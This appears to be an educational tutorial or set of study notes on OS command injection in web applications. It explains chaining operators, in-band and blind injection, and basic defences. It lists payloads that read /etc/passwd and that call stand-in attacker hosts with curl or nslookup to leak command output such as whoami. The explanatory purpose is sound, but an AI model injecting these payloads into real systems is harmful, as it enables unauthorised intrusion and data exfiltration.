

whoami

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Introduction

An attacker tricks the web application into executing operating system commands in the web application

Operating system Family

There are two main families of operating system in the web application

Linux

Windows

Commands

Name of the current user

whoami

Network Details

Windows

ipconfig/all

Linux

ifconfig

Network connection

netstat -antp

Running Processer

Windows

tasklist

Linux

ps -ef

How it Works

A web application which shows the weather

https://webapplication.com/weather?city=mumbai

An SQL query might be if required

SELECT temperature FROM weather WHERE city = 'mumbai' OR '1'='1';

The web application run commands to get the weather

weather.sh --city=mumbai

Without proper validation or sanitization the attacker can tricks the command to the URL

https://webapplication.com/weather?city=mumbai&&ls

The web application run this given command

weather.sh --city=mumbai&&ls

Which results in web application reponses

Weather in mumbai : 24 C
index.html
about.html
contact.html

The output the attacker knows this is vulnerably to OS Command Injection which lead to revershell of the web application

Executing Command Injection

Piping |

Used to chain commands together passing the output of one command as input to another.

It used to filtering data.

command1 | command2

ls | grep 'txt'

Single Ampersand &

Runs the commands in background and returns to the console.

command1 & command2

sleep 10 & echo "Done"

And Operator &&

Runs multiply command together but the first command should be succeeded to runs the second commands

command1 && command2

mkdir newdir && cd newdir

SemiColon

Runs both command each after another regardless of commands pass or fail

command1 ; command2

cd /var/www ; ls

Backtricks

Runs the backtrick command and replace it with the command output

cammand1 `command2`

command2 runs first then the output of command2 is passed as an argument to command1

echo `date`

Dollar Sign Parentheses \$()

Runs the backets command and replace it with command output

command1 \$(command2)

command2 runs first then the output of command2 is passed as an argument to command1

echo \$(date)

Types

In-band Command Injection

An attacker is able to trick the web application into executing command on the web application which received a response/output of the executed command in the web application.

Show immediate results in the web application response.

Example

A search function on a website allows user to search for products by name,

Normally user search for 'apple'.

Attacker searches for 'apple; ls'

Server execute ls search apple; ls

Response will be display in web application.

blind Command /Out-band /Out of band injection

An attacker is able to trick the web application into executing command on the web application but does not receive response in the web application and the attacker has to relay on indirect methods to confirm if the OS command this is also know as Blind injection.

Attacker use external methods to confirm the command injected executed.

Example

A search function on a website allows user to search for products by name,

Normally user search for 'apple'.

Attacker searches for 'apple; echo whoami > whoami.txt'

Server execute ls search apple; echo whoami > whoami.txt

Attacker has to Directory Traversal or use /whoami.txt to check if the injection works.

If curl is in the Server use the CURL to confirm the injection

https://webapplication.com/weather?city=mumbai&& curl malicious.com/login.php

So the server execute the Command is

weather.sh --city=mumbai&& curl malicious.com/login.php

And attacker can monitor if the network traffic received then the Out of band works.

BlackBox

Visit all the application pages that user can access.

Enter multiply commands in one line using special characters (External commands) to see if the application runs them.

Looks for the application response for error indicating a vulnerability

Looks for the application response for error indicating a vulnerability.

Test for the blind injection using ping or sleep commands

In-band & out of band command injection

Shell Meta characters

Concatenate Commands

&& cat /etc/passwd &

& cat /etc/passwd &

|| cat /etc/passwd &

Trigger Time Delay

&& sleep 10 &

& sleep 10 #

&& ping -c 10 127.0.0.1 &

Output to Web Root

& whoami > /var/www/static/whoami.txt &

& nslookup attacker.com #

Out of band

& nslookup attacker.server.com &

& nslookup \$(whoami).attackerserver.com &

& nslookup {whoami}.attackerserver.com &

Defense Against OS Command Injection

Avoid direct OS Command Injection

Use language function to call OS commands example python which has os.listdir instead of ls

Blacklisting

Block all the malicious characters like ; & | " ' \$() , > , < , and others. and replace it with SPACE

Defence in Dept

Use the minimum privilege on the web application